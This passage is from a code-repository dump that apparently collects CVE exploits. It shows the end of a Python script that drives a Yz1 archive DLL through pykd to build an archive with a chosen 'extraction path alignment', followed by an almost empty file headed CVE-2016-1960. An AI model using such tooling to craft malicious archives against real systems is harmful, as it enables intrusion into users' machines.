Yz1 doesn't seem to release its locks on files it touches until 553 | # the module is unloaded. Maybe PEBKAC but neither FreeLibrary(), 554 | # pykd.killAllProcesses() nor pykd.deinitialize() seems to be enough 555 | # to get rid of it. So, we let pykd/yz1 do their thing in a 556 | # subprocess to avoid the tempdir cleanup from failing. Sigh. 557 | if not windll.kernel32.IsDebuggerPresent(): 558 | py = abspath(__file__) 559 | with tempdir(): 560 | p = Process( 561 | target=run_pykd, args=(py, args.dll, args.output, args.align) 562 | ) 563 | p.start() 564 | p.join() 565 | else: 566 | create_archive(args.dll, args.output, args.align) 567 | print(f"=> created: {args.output}") 568 | print(f"=> extraction path alignment: {args.align}") 569 | 570 | 571 | if __name__ == "__main__": 572 | main() 573 | -------------------------------------------------------------------------------- /CVE-2016-1960/CVE-2016-1960.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CVE-2016-1960 6 | 1215 | 1216 | 1217 | --------------------------------------------------------------------------------